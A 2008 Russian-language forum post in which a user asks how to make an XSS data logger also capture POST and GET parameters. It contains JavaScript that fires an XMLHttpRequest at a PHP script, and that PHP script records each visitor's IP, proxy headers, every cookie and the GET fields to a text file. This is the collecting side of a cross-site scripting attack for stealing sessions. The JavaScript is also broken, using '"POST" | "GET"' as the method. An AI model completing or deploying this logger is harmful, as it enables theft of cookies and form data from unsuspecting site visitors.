Показать сообщение отдельно

  #18  
Старый 27.05.2008, 17:24
tmp
Участник форума
Регистрация: 10.03.2005
Сообщений: 234
С нами: 11141693

Репутация: 56
По умолчанию

И все же вопрос про XMLHttpRequest. про то что работа с удаленным сервером не получится - это понятно. но ни как не могу понять как получить пост и гет. куки и $_SERVER передаются, а вот пост и гет ну ни как. подскажите что нужно дополнить в код
Код:
<script type="text/javascript">

function processReqChange() {
    //document.form.state.value = stat(req.readyState); 
 
 
    if (req.readyState == 4) {
      //  clearTimeout(reqTimeout);
 
      //  document.form.statusnum.value = req.status; 
     //   document.form.status.value = req.statusText; 
 
        // only if "OK"
        if (req.status == 200) {
       //     document.form.response.value=req.responseText;
        } else {
            alert("Не удалось получить данные:\n" + req.statusText);
        }}}

function HTTPRequest (url)
{
if (window.XMLHttpRequest){
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open("POST" | "GET", url, true);
req.send(null);
}else if (window.ActiveXObject){
req = new
ActiveXObject("Microsoft.XMLHTTP");
if (req){
req.onreadystatechange = processReqChange;
req.open("POST" | "GET", url, true);
req.send();

}
}
return (req.responseText);

}
var XSSCode = HTTPRequest ("pro.php");
</script>

<FORM action="form.php" method="POST">
  <input type="text" name="text">
<input type="submit">
</FORM>
файл php:

Код:
<?php
$time = date("M j G:i:s T Y");
$cook = "";
while (list($key,$value)=each($_COOKIE)) {
 $cook = $cook . $key . ':' . $value . "\n";
 }
$client = "=====================" . $time . "========================== \n
Client ip: ". $_SERVER['REMOTE_ADDR'] . "\n
Client dns: ". $_SERVER['REMOTE_HOST'] . "\n
X-Forwarded-for: ". $_SERVER['HTTP_X_FORWARDED_FOR'] . "\n
Via: ". $_SERVER['HTTP_VIA'] . "\n
COOKIE: ". $cook . "\n
-----------------POST DATA--------------------\n";
$xss = $_GET;
$que = "";
$filename = "somefile.txt";
while (list($key,$value)=each($xss)) {
 $que = $que . $key . ':' . $value . "\n";
 }
$pos = $que . "=============================================== \n";
$data = $client . $pos;
//print_r ($xss);
// Если файл существует и в него возможна запись

if ( is_writeable($filename) ) :

// Открыть файл и установить указатель текущей позиции в конец файла

$fh = fopen($filename, "a+");

// Записать содержимое $data в файл

@fwrite($fh, $data);

// Закрыть файл

fclose($fh); else :

print "Could not open Sfilename for writing";

endif; 

?>